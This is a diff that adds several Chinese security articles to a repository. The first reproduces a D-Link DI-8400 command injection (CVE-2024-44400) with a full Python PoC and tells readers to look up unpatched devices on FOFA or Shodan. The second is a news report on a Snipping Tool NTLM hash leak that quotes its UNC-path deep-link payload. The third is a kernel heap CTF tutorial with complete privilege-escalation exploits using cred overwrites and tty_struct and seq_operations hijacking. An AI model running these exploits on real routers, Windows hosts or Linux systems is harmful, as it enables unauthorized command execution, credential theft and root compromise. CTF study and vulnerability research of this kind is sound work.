代理、电子邮件代理和部署自动化管道。 + diff --git a/doc/2026-04/D-link的漏洞复现.md b/doc/2026-04/D-link的漏洞复现.md new file mode 100644 index 00000000..ddb66862 --- /dev/null +++ b/doc/2026-04/D-link的漏洞复现.md @@ -0,0 +1,226 @@ +# D-link的漏洞复现 +搞安全的面具侠 + 搞安全的面具侠 搞安全的面具侠 2026-04-21 09:23 + +最近忙的有点热火朝天,前阵子一直一直在感受AI工具,在使用openclaw,确实好用,但是搞安全的用它的限制还是挺多的,这不最近就发现随着龙虾的爆火,它存在的漏洞也随之爆出!国家信息安全漏洞共享平台上面最新的漏洞列表,关于openclaw的涨了好多!!!! + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblhsoNvFQx7Ia92ribPTyGsGY71heFUWRmz2zf60BYSE671MtxUmxQqPchn0vJNMO1Bpeo54icCQP7tDdJa2hsv8D4FohJwOpdd18/640?wx_fmt=png&from=appmsg "") + +光今天一天就提交了好多个,另外未名漏洞的这个我建议大家多测试一下,因为这个漏洞虽然危害级别是中,但是经过身边几个朋友测试发现这个ummmm,可能是审核人不专业吧,这个危害挺高的,是 +属于一打打一大大大大大大片 +的那种,嗯,只能说这么多了!!!! + +但今天我想给大家说的并不是有关openclaw的漏洞,而是另外一个D-link的漏洞,在4-17时候,也陆续提交了很多有关他的漏洞,评级不低,但都是同一类的漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhibliatQYCVxjb44rwhQ6c2mgGRqXlC2ys2riaYBuO2SsZxo2SLLTjibeoYxrVeLf75w36iaBj24mHbpDHxcW4AWhXq1qRQyNcfDyRez4/640?wx_fmt=png&from=appmsg "") + +而且不知道为啥,他们的漏洞长期存在的都是那么几个,类型也就是哪几类,接下来我拿个老的洞复现一下,并不是溢出,是注入的洞,感兴趣的可以再fofa或者是shodan上面搜一些资产,找来测试一下,绝大部分都是没有修复的。 + +1-注入命令 + +2-dl8400产品类 + +3-描述: + 攻击者可通过向目标设备发送恶意构造的 HTTP POST 请求, 在无需有效认证的情况下执行任意系统命令。当请求路径为/upgrade_filter.asp +时,该漏洞可被成功触发, 从而对设备安全造成严重威胁。 + +4-原理拆解: + +(1)使用binwalk +对固件进行解包 + +![](https://mmbiz.qpic.cn/mmbiz_png/TkCzWPGhibljvx97rfbnuBx1ACNVFECyc5Z3yPbLI9Pj2hjlq88o04D1rXQ4lfRR1yxz6eThydKGaz1p25c1CqMfGZTf6vTVz6U1rcGSQ5icI/640?wx_fmt=png&from=appmsg "") + +(2) +查看系统架构及保护 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblgCubMnqicVgT5Iyiajb5BVPjFUfWp67GvRia0yL9ToHIkIbM2nue6AQeOPGia3s6Cz6ibPialBXoGZOMTcb4ekrGXjQW6fZdP1ctSzM/640?wx_fmt=png&from=appmsg "") + +(3) +使用FirmAE仿真,查看启动项 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblgm72C8E5zicbibTQDGhRLxWQnW4qv5gUV86UiaPQPQhJp2P7RfmzyNiaHicLtAH8bGNuw5OgMPILLpX1HQ1xc6PzAu2bTqGD2KCUiag/640?wx_fmt=png&from=appmsg "") + +(4)使用IDA分析jhttpd + +(5)shift+f12 +反编译为字符串,根据漏洞描述搜索upgrade_filter.asp + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhibliall4DC6te1Aguf0akVnJlby9dvBN0P5MoM3DZ9D6I5m5IicBicwhVVlPRj34aOYLlgBN7U2VaoERuLjjJZ4Z3vkgHS7EpwVgnYc/640?wx_fmt=png&from=appmsg "") + +(6) +找到upgrade_filter_asp +函数 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblhY4cpaGia7ib4F0v2BuNDquu6Wfxn2S78RUMWPYibRXUgxTJwjnEdDgd1svMJM4X8TPtl3exxrrwxoqmJg5ibM3mNPNSlgB7QibbpE/640?wx_fmt=png&from=appmsg "") + +分析代码,存在注入点: + +1)sprintf(buf, "wys wget download %s", parm); + +2)system(buf); + +3) +- parm = httpd_get_parm(a1, "path") +:从 HTTP 请求中取出参数path + +- sprintf +:把用户可控的path**直接拼接进命令行字符串** + +- system +:把拼接结果交给/bin/sh -c <命令> + 执行 + +### 1. 验证条件 +- 攻击前置条件:登录获取cookie + +### 2. 验证步骤 +- **Step1** +:使用FirmAE +进行固件仿真 + +命令行里敲下面代码: +sudo ./run.sh -d dlink ../fmwares/DI_8400-16.07.26A1.trx + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblg8zURYqMhVc14J03PRyPnj5F3J2H6tnW1Q73R4T4YWkJQdGdV1oJ6WkW6UAQr38lBGQ7S7t8B2ckZ4joggibalzam7oqSXBkRA/640?wx_fmt=png&from=appmsg "") + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_png/TkCzWPGhiblhzc323Lkvr7zOyGS8gBYS5e7jEm9m3wdHAH74Jq60unrR2dOSkn4LZ60hqxPN1MVOdaKnpia1QA3y8j627vC9XEEiaypeJz41Ng/640?wx_fmt=png&from=appmsg "") +- **Step2** +:利用poc验证 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhibljOT20FBKuTEqEkc7naEnOvvoSIS1jlQ4aky8SBN9jfLSgfw8hVpv98NQ0iaEFUuD2npOVic5wicENzBIto5tNnVQS52zicBAPgpRA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/TkCzWPGhibliaUogsVupLcXCViadW3ReBcY0HDDQZQicku7N02MZVW2eNAsJiaL9EoibpicGo8RnZ3YIKA9BkZloVAlX3Iq0tJqNYOP46EVdRHCzcU/640?wx_fmt=png&from=appmsg "") +- **Step3** +:payload + +# 1) 按 d4.md 默认 payload 复现(写入 /1.txt) + +python poc.py -t http://192.168.0.1 --cmd "ls>/1.txt" --cookie "wysLanguage=CN;userid=admin;gw_userid=admin,gw_passwd=F499CB5B7A1156B90910F2EE55A10A99" + +# 2) 自定义命令(示例:创建标记文件) + +python poc.py -t http://192.168.0.1 --cmd "echo pwned>/tmp/pwned" --cookie "..." + +以下代码直接附在python里面: + +#!/usr/bin/env python3 + +# -*- coding: utf-8 -*- + + +import argparse + +import sys + +import requests + + + +def build_payload(cmd: str) -> dict: + +    # 与 d4.md 一致:time + path,其中 path 走反引号命令替换 + +    return { + +        "time": "acf", + +        "path": f"`{cmd}`", + +    } + + + +def main(): + +    p = argparse.ArgumentParser(description="CVE-2024-44400 DI-8400 /upgrade_filter.asp Command Injection Payload") + +    p.add_argument("-t", "--target", default="http://192.168.0.1", help="Target base URL, e.g. http://192.168.0.1") + +    p.add_argument("--path", default="/upgrade_filter.asp", help="Vulnerable path") + +    p.add_argument("-c", "--cmd", default="ls>/1.txt", help="Command to execute (inside backticks)") + +    p.add_argument("--cookie", default="", help="Cookie header value (raw), e.g. 'wysLanguage=CN; userid=admin; ...'") + +    p.add_argument("--timeout", type=int, default=10, help="HTTP timeout seconds") + +    args = p.parse_args() + + +    base = args.target.rstrip("/") + +    url = base + args.path + + +    headers = { + +        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0", + +        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + +        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", + +        "Accept-Encoding": "gzip, deflate", + +        "Connection": "close", + +        "Upgrade-Insecure-Requests": "1", + +        "Priority": "u=0, i", + +        "Content-Type": "application/x-www-form-urlencoded", + +    } + +    if args.cookie: + +        headers["Cookie"] = args.cookie + + +    data = build_payload(args.cmd) + + +    try: + +        r = requests.post(url, headers=headers, data=data, timeout=args.timeout, allow_redirects=False) + +        print(f"[+] POST {url}") + +        print(f"[+] Status: {r.status_code}") + +        print("[+] Response (first 500 chars):") + +        print(r.text[:500]) + +    except requests.RequestException as e: + +        print(f"[-] Request failed: {e}", file=sys.stderr) + +        return 1 + + +    return 0 + + + +if __name__ == "__main__": + +    raise SystemExit(main()) + + +-------------------------------- + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhiblgZd2EwjIPg7XdR88kicXe6p8QibnSHLn8IYH3Hz9zMRBQDm3uda3FGMS0oBJ7IuniacicEM7GCA6ib5b7q4RoAtkC3o2utazoHvvAU/640?wx_fmt=png&from=appmsg "") + + +以上结束,可以照着这样的方式去找别的漏洞测试一下。。。。。。。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TkCzWPGhibliaxSPItCFe8Ca1Ez4uFc4M2Px87PRpBA7ricZiapyAq2DKqgZdsMd9txXZppZQp3Nyv1oDj3UfcNhfq9qRpL09Yo1Cwp5nFNczkY/640?wx_fmt=png&from=appmsg "") + + + + + + diff --git a/doc/2026-04/Windows截图工具NTLM哈希泄露漏洞PoC利用代码发布.md b/doc/2026-04/Windows截图工具NTLM哈希泄露漏洞PoC利用代码发布.md new file mode 100644 index 00000000..5e3e1528 --- /dev/null +++ b/doc/2026-04/Windows截图工具NTLM哈希泄露漏洞PoC利用代码发布.md @@ -0,0 +1,46 @@ +# Windows截图工具NTLM哈希泄露漏洞PoC利用代码发布 + 网安百色 2026-04-21 10:52 + +![](https://mmbiz.qpic.cn/mmbiz_png/WibvcdjxgJnus8qQVwyX6tDY5oJSCQm82syqCb9hQerNmCib7bOibhHhAL3kVuzBmmu3ia1HskNXEhGHJSmbZf32IKFz7aU2AVHibribQPJibLY5MU/640?wx_fmt=png&from=appmsg "") + +针对Microsoft Snipping Tool中新披露漏洞的概念验证(PoC)利用代码已被公开发布,该漏洞允许攻击者通过诱使用户访问恶意网页来静默窃取用户的Net-NTLM凭证哈希。 + +该漏洞被追踪为CVE-2026-33829,存在于Windows Snipping Tool如何处理使用ms-screensketch协议架构的深度链接URI注册。受影响版本的应用程序注册了此深度链接,该链接接受filePath参数。 + +由于缺乏适当的输入验证,攻击者可以提供指向远程攻击者控制的SMB服务器的UNC路径,强制进行经过身份验证的SMB连接,并在此过程中捕获受害者的Net-NTLM哈希。 + +该漏洞由Black Arrow的安全研究人员发现并报告,他们在公开之前与Microsoft协调了披露事宜。 + +**Windows Snipping Tool PoC** + +利用此漏洞所需的技术复杂度极低。攻击者只需托管一个恶意URL——或一个自动触发深度链接的HTML页面——并说服目标访问它即可。Black Arrow Security的PoC通过单个浏览器触发的URI演示了该攻击: +``` +ms-screensketch:edit?&filePath=\\\file.png&isTemporary=false&saved=true&source=Toast +``` + +当受害者打开此链接时,Snipping Tool会启动并静默尝试通过SMB加载远程资源。在此连接尝试期间,Windows会自动将用户的Net-NTLM身份验证响应传输到攻击者的服务器,暴露的凭证随后可以被离线破解或用于针对内部网络资源的NTLM中继攻击。 + +**社会工程学风险** + +CVE-2026-33829特别危险之处在于它如何自然地适用于社会工程学活动。由于Snipping Tool在利用过程中实际会打开,该攻击在视觉上与可信的借口保持一致,例如要求员工裁剪公司壁纸、编辑徽章照片或审查HR文档。 + +攻击者可以注册一个类似snip.example.com的域名,并提供一个令人信服的图像URL,该URL在后台静默传递恶意深度链接有效载荷。 + +受害者看不到任何异常;Snipping Tool按预期打开,而NTLM身份验证在后台透明地进行。 + +这种攻击向量在企业环境中特别有效,因为钓鱼邮件引用内部HR门户、IT服务台或共享文档系统的情况很常见。 + +**补丁可用性与时间线** + +Microsoft在其2026年4月14日的Patch Tuesday安全更新中解决了该漏洞。披露时间线如下: +- 2026年3月23日 — 漏洞报告给Microsoft +- 2026年4月14日 — Microsoft发布安全补丁 +- 2026年4月14日 — 协调的公开公告和PoC发布 +运行受影响版本Windows Snipping Tool的组织和个人用户应立即应用2026年4月14日的安全更新。 + +应监控内部网络是否存在到外部或未知主机的意外出站SMB连接(端口445),这可能表明存在主动利用尝试。无论补丁状态如何,在网络边界阻止出站SMB流量仍然是强有力的防御措施。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢! + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") + diff --git a/doc/2026-04/kernel heap exploit.md b/doc/2026-04/kernel heap exploit.md new file mode 100644 index 00000000..a300d284 --- /dev/null +++ b/doc/2026-04/kernel heap exploit.md @@ -0,0 +1,257 @@ +# kernel heap exploit +Jelasin + Jelasin 蚁景网络安全 2026-04-21 09:40 + +# 前言 + +本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。 +## 概述 + +Linux kernel + 将内存分为 页(page)→区(zone)→节点(node) + 三级结构,主要有两个内存管理器—— buddy system + 与 slub allocator +,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab +分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。 +## budy system + +buddy system + 以 page + 为粒度管理着所有的物理内存,在每个 zone + 结构体中都有一个 free_area + 结构体数组,用以存储 buddy system + 按照 order + 管理的页面: +- • 分配: + +- • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。 + +- • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。 + +- • 释放: + +- • 将对应的连续内存页释放到对应的链表上。 + +- • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/5znJiaZxqldzQ5icyL8ZrLvofruQtPiaL7HtT4zibchL0VFXWnqCr4jqygjiaCYKoGbGOO0ia2hicRy3MbMKjLPlwzbUQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=1 "null") +## slub allocator + +slub_allocator + 是基于 slab_alloctor + 的分配器。slab allocator + 向 buddy system + 请求单张或多张连续内存页后再分割成同等大小的 object + 返还给上层调用者来实现更为细粒度的内存管理。 +- • 分配: + +- • 首先从 kmem_cache_cpu + 上取对象,若有则直接返回。 + +- • 若 kmem_cache_cpu + 上的 slub + 已经无空闲对象了,对应 slub + 会被从 kmem_cache_cpu + 上取下,并尝试从 partial + 链表上取一个 slub + 挂载到 kmem_cache_cpu + 上,然后再取出空闲对象返回。 + +- • 若 kmem_cache_node + 的 partial + 链表也空了,那就向 buddy system + 请求分配新的内存页,划分为多个 object + 之后再给到 kmem_cache_cpu +,取空闲对象返回上层调用。 + +- • 释放: + +- • 若被释放 object + 属于 kmem_cache_cpu + 的 slub +,直接使用头插法插入当前 CPU slub + 的 freelist +。 + +- • 若被释放 object + 属于 kmem_cache_node + 的 partial + 链表上的 slub +,直接使用头插法插入对应 slub + 的 freelist +。 + +- • 若被释放 object + 为 full slub +,则其会成为对应 slub + 的 freelist + 头节点,且该 slub + 会被放置到 partial + 链表。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/5znJiaZxqldzQ5icyL8ZrLvofruQtPiaL7HTYm1Zdhyx7ZOibicSUXOLGibwUHIZhw1oRxI70VoxFCTuabrCfBXwq4Iw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=2 "null") +# heap_bof +## 题目分析 + +题目给了源码,存在UAF +和heap overflow +两种漏洞。内核版本为4.4.27 +``` +#include #include #include #include #include #include #include #include structclass *bof_class;structcdevcdev;int bof_major =256;char*ptr[40];// 指针数组,用于存放分配的指针structparam {size_t len;// 内容长度char*buf;// 用户态缓冲区地址unsignedlong idx;// 表示 ptr 数组的 索引};longbof_ioctl(struct file *filp, unsignedint cmd, unsignedlong arg){structparamp_arg;    copy_from_user(&p_arg,(void*) arg,sizeof(struct param));long retval =0;switch(cmd){case9:            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);            printk("copy_to_user: 0x%lx\n",*(long*) ptr[p_arg.idx]);break;case8:            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);break;case7:            kfree(ptr[p_arg.idx]);            printk("free: 0x%p\n", ptr[p_arg.idx]);break;case5:            ptr[p_arg.idx]= kmalloc(p_arg.len, GFP_KERNEL);            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);break;default:            retval =-1;break;}return retval;}staticconststructfile_operationsbof_fops ={.owner = THIS_MODULE,.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl};staticintbof_init(void){//设备号dev_t devno = MKDEV(bof_major,0);int result;if(bof_major)//静态分配设备号        result = register_chrdev_region(devno,1,"bof");else{//动态分配设备号        result = alloc_chrdev_region(&devno,0,1,"bof");        bof_major = MAJOR(devno);}    printk("bof_major /dev/bof: %d\n", bof_major);if(result <0)return result;    bof_class = class_create(THIS_MODULE,"bof");    device_create(bof_class,NULL, devno,NULL,"bof");    cdev_init(&cdev,&bof_fops);    cdev.owner = THIS_MODULE;    cdev_add(&cdev, devno,1);return0;}staticvoidbof_exit(void){    cdev_del(&cdev);    device_destroy(bof_class, MKDEV(bof_major,0));    class_destroy(bof_class);    unregister_chrdev_region(MKDEV(bof_major,0),1);    printk("bof exit success\n");}MODULE_AUTHOR("exp_ttt");MODULE_LICENSE("GPL");module_init(bof_init);module_exit(bof_exit); +``` + +**boot.sh** + +这道题是多核多线程。并且开启了smep +和smap +。 +``` +#!/bin/bashqemu-system-x86_64 \-initrd rootfs.cpio \-kernel bzImage \-m 512M \-nographic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \-monitor /dev/null \-smp cores=2,threads=2 \-cpu kvm64,+smep,+smap \ +``` +# kernel Use After Free +## 利用思路 + +cred + 结构体大小为 0xa8 + ,根据 slub + 分配机制,如果申请和释放大小为 0xa8 +(实际为 0xc0 + )的内存块,此时再开一个线程,则该线程的 cred + 结构题正是刚才释放掉的内存块。利用 UAF + 漏洞修改 cred + 就可以实现提权。 +## exp +``` +#include #include #include #include #include #include #include #define BOF_MALLOC 5#define BOF_FREE 7#define BOF_EDIT 8#define BOF_READ 9structparam {size_t len;// 内容长度char*buf;// 用户态缓冲区地址unsignedlong idx;// 表示 ptr 数组的 索引};intmain(){int fd = open("dev/bof", O_RDWR);structparamp ={0xa8,malloc(0xa8),1};    ioctl(fd, BOF_MALLOC,&p);    ioctl(fd, BOF_FREE,&p);int pid = fork();// 这个线程申请的cred结构体obj即为刚才释放的obj。if(pid <0){puts("[-]fork error");return-1;}if(pid ==0){        p.buf =malloc(p.len =0x30);memset(p.buf,0, p.len);        ioctl(fd, BOF_EDIT,&p);// 修改用户IDif(getuid()==0){puts("[+]root success");            system("/bin/sh");}else{puts("[-]root failed");}}else{        wait(NULL);}    close(fd);return0;} +``` + +但是此种方法在较新版本 kernel + 中已不可行,我们已无法直接分配到 cred_jar + 中的 object +,这是因为 cred_jar + 在创建时设置了 SLAB_ACCOUNT + 标记,在 CONFIG_MEMCG_KMEM=y + 时(默认开启)cred_jar + 不会再与相同大小的 kmalloc-192 + 进行合并。 +``` +// kernel version == 4.4.72void __init cred_init(void){/* allocate a slab in which we can store credentials */    cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred),0, SLAB_HWCACHE_ALIGN|SLAB_PANIC,NULL);}// kernel version == 4.5void __init cred_init(void){/* allocate a slab in which we can store credentials */    cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred),0,            SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT,NULL);} +``` +# heap overflow + +溢出修改 cred + ,和前面 UAF 修改 cred + 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0 +大小的obj +,因为我们 freelist + 中存在很多之前使用又被释放的obj +导致的obj +乱序。我们需要一个排列整齐的内存块用于修改。 +## 利用思路 +1. 1. 多申请几个0xa8 +大小的内存块,将原有混乱的freelist + 变为地址连续的 freelist +。 + +1. 2. 利用堆溢出,修改被重新申请作为cred +的ptr[5] +凭证区为0 +。 + +## exp +``` +#include #include #include #include #include #include #include structparam {size_t len;// 内容长度char*buf;// 用户态缓冲区地址longlong idx;// 表示 ptr 数组的 索引};constint BOF_NUM =10;intmain(void){int bof_fd = open("/dev/bof", O_RDWR);if(bof_fd ==-1){puts("[-] Failed to open bof device.");exit(-1);}structparamp ={0xa8,malloc(0xa8),0};// 让驱动分配 0x40 个 0xa8  的内存块for(int i =0; i <0x40; i++){        ioctl(bof_fd,5,&p);// malloc}puts("[*] clear heap done");// 让驱动分配 10 个 0xa8  的内存块for(p.idx =0; p.idx < BOF_NUM; p.idx++){        ioctl(bof_fd,5,&p);// malloc}    p.idx =5;    ioctl(bof_fd,7,&p);// free// 调用 fork 分配一个 cred结构体int pid = fork();if(pid <0){puts("[-] fork error");exit(-1);}// 此时 ptr[4] 和 cred相邻// 溢出 修改 cred 实现提权    p.idx =4, p.len =0xc0+0x30;memset(p.buf,0, p.len);    ioctl(bof_fd,8,&p);if(!pid){//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了size_t uid = getuid();printf("[*] uid: %zx\n", uid);if(!uid){puts("[+] root success");// 权限修改完毕,启动一个shell,就是root的shell了            system("/bin/sh");}else{puts("[-] root fail");}}else{        wait(0);}return0;} +``` +# tty_struct 劫持 + +**boot.sh** + +这道题gadget +较少,我们就关了smep +保护。 +``` +#!/bin/bashqemu-system-x86_64 \-initrd rootfs.img \-kernel bzImage \-m 512M \-nographic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \-monitor /dev/null \-s \-cpu kvm64 \-smp cores=1,threads=1 \--nographic +``` +## 利用思路 + +在 /dev + 下有一个伪终端设备 ptmx + ,在我们打开这个设备时内核中会创建一个 tty_struct + 结构体, +``` +ptmx_open (drivers/tty/pty.c)-> tty_init_dev (drivers/tty/tty_io.c)  -> alloc_tty_struct (drivers/tty/tty_io.c) +``` + +tty + 的结构体 tty_srtuct + 定义在 linux/tty.h + 中。其中 ops + 项(64bit + 下位于 结构体偏移 0x18 + 处)指向一个存放 tty + 相关操作函数的函数指针的结构体 tty_operations + 。其魔数为0x5401 +``` +// sizeof(struct tty_struct) == 0x2e0/* tty magic number */#define TTY_MAGIC        0x5401structtty_struct {...conststructtty_operations *ops;...}structtty_operations {...int(*ioctl)(struct tty_struct *tty,unsignedint cmd,unsignedlong arg);...}; +``` + +使用 tty + 设备的前提是挂载了 ptmx + 设备。 +``` +mkdir /dev/ptsmount -t devpts none /dev/ptschmod 777 /dev/ptmx +``` + +所以我们只需要劫持 tty_ops + 的某个可触发的操作即可,将其劫持到 get_root + 函数处。 +## exp +``` +#include #include #include #include #include #include #include #include #include #define BOF_MALLOC 5#define BOF_FREE 7#define BOF_EDIT 8#define BOF_READ 9void*(*commit_creds)(void*)=(void*)0xffffffff810a1340;size_t init_cred =0xFFFFFFFF81E496C0;voidget_shell(){    system("/bin/sh");}unsignedlong user_cs, user_rflags, user_rsp, user_ss, user_rip =(size_t) get_shell;voidsave_status(){    __asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_rsp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");}size_t kernel_offset;voidget_root(){// 通过栈上残留地址来绕过 KASLR    __asm__("mov rbx, [rsp + 8];""mov kernel_offset, rbx;");    kernel_offset -=0xffffffff814f604f;    commit_creds =(void*)((size_t) commit_creds + kernel_offset);    init_cred =(void*)((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__("swapgs;""push user_ss;""push user_rsp;""push user_rflags;""push user_cs;""push user_rip;""iretq;");}structparam {size_t len;// 内容长度char*buf;// 用户态缓冲区地址longlong idx;// 表示 ptr 数组的 索引};intmain(int argc, charconst *argv[]){    save_status();size_t fake_tty_ops[]={0,0,0,0,0,0,0,0,0,0,0,0,        get_root};// len buf idxstructparamp ={0x2e0,malloc(0x2e0),0};printf("[*]p_addr==>%p\n",&p);int bof_fd = open("/dev/bof", O_RDWR);    p.len =0x2e0;    ioctl(bof_fd, BOF_MALLOC,&p);memset(p.buf,'\xff',0x2e0);    ioctl(bof_fd, BOF_EDIT,&p);    ioctl(bof_fd, BOF_FREE,&p);int ptmx_fd = open("/dev/ptmx", O_RDWR);    p.len =0x20;    ioctl(bof_fd, BOF_READ,&p);printf("[*]magic_code==> %p -- %p\n",&p.buf[0],*(size_t*)&p.buf[0]);printf("[*]tty____ops==> %p -- %p\n",&p.buf[0x18],*(size_t*)&p.buf[0x18]);*(size_t*)&p.buf[0x18]=&fake_tty_ops;    ioctl(bof_fd, BOF_EDIT,&p);    ioctl(ptmx_fd,0,0);return0;} +``` +# seq_operations 劫持 + +**boot.sh** +``` +#!/bin/bashqemu-system-x86_64 \-initrd rootfs.img \-kernel bzImage \-m 512M \-nographic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \-monitor /dev/null \-s \-cpu kvm64 \-smp cores=1,threads=1 \--nographic +``` +## 利用思路 + +seq_operations + 结构如下,该结构在打开 /proc/self/stat + 时从 kmalloc-32 + 中分配。 +``` +struct seq_operations {    void*(*start)(struct seq_file *m,loff_t*pos);void(*stop)(struct seq_file *m,void*v);void*(*next)(struct seq_file *m,void*v,loff_t*pos);int(*show)(struct seq_file *m,void*v);}; +``` + +调用读取 stat + 文件时会调用 seq_operations + 的 start + 函数指针。 +``` +ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos){    struct seq_file *m = file->private_data;    ...    p = m->op->start(m, &pos);    ... +``` + +当我们在 heap_bof + 驱动分配 0x20 + 大小的 object + 后打开大量的 stat + 文件就有很大概率在 heap_bof + 分配的 object + 的溢出范围内存在 seq_operations + 结构体。由于这道题关闭了 SMEP +,SMAP + 和 KPTI + 保护,因此我们可以覆盖 start + 函数指针为用户空间的提权代码实现提权。至于 KASLR + 可以通过泄露栈上的数据绕过。 + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/5znJiaZxqldzQ5icyL8ZrLvofruQtPiaL7H8dCxLjCM8tLH2FzTJyyvBKOtop4icvODoFGP4Df6LnAIoVTiar0wPS9Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=3 "null") +## exp +``` +#include #include #include #include #include #include structparam {size_t len;// 内容长度char*buf;// 用户态缓冲区地址longlong idx;// 表示 ptr 数组的 索引};constint SEQ_NUM =0x200;constint DATA_SIZE =0x20*8;#define BOF_MALLOC 5#define BOF_FREE 7#define BOF_EDIT 8#define BOF_READ 9voidget_shell(){    system("/bin/sh");}size_t user_cs, user_rflags, user_sp, user_ss, user_rip =(size_t) get_shell;voidsave_status(){    __asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");}void*(*commit_creds)(void*)=(void*)0xFFFFFFFF810A1340;void*init_cred =(void*)0xFFFFFFFF81E496C0;size_t kernel_offset;voidget_root(){// 通过栈上的残留值绕过KASLR。    __asm__("mov rax, [rsp + 8];""mov kernel_offset, rax;");    kernel_offset -=0xffffffff81229378;    commit_creds =(void*)((size_t) commit_creds + kernel_offset);    init_cred =(void*)((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__("swapgs;""push user_ss;""push user_sp;""push user_rflags;""push user_cs;""push user_rip;""iretq;");}intmain(){    save_status();int bof_fd = open("dev/bof", O_RDWR);if(bof_fd <0){puts("[-] Failed to open bof.");exit(-1);}structparamp ={0x20,malloc(0x20),0};for(int i =0; i <0x40; i++){        ioctl(bof_fd, BOF_MALLOC,&p);}memset(p.buf,'\xff', p.len);    ioctl(bof_fd, BOF_EDIT,&p);// 大量喷洒 seq_ops 结构体。int seq_fd[SEQ_NUM];for(int i =0; i < SEQ_NUM; i++){        seq_fd[i]= open("/proc/self/stat", O_RDONLY);if(seq_fd[i]<0){puts("[-] Failed to open stat.");}}puts("[*] seq_operations spray finished.");// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。    p.len = DATA_SIZE;    p.buf =malloc(DATA_SIZE);    p.idx =0;for(int i =0; i < DATA_SIZE; i +=sizeof(size_t)){*(size_t*)&p.buf[i]=(size_t) get_root;}    ioctl(bof_fd, BOF_EDIT,&p);puts("[*] Heap overflow finished.");for(int i =0; i < SEQ_NUM; i++){        read(seq_fd[i], p.buf,1);}return0;} +``` + +[](https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247549615&idx=1&sn=5de0fec4a85adc4c45c6864eec2c5c56&scene=21#wechat_redirect) + diff --git a/doc/2026-04/因第三方AI工具受陷,Vercel 内部系统遭未授权访问.md b/doc/2026-04/因第三方AI工具受陷,Vercel 内部系统遭未授权访问.md new file mode 100644 index 00000000..8d3341f6 --- /dev/null +++ b/doc/2026-04/因第三方AI工具受陷,Vercel 内部系统遭未授权访问.md @@ -0,0 +1,519 @@ +# 因第三方AI工具受陷,Vercel 内部系统遭未授权访问 +DevOpsDaily Team + DevOpsDaily Team 代码卫士 2026-04-21 10:32 + +  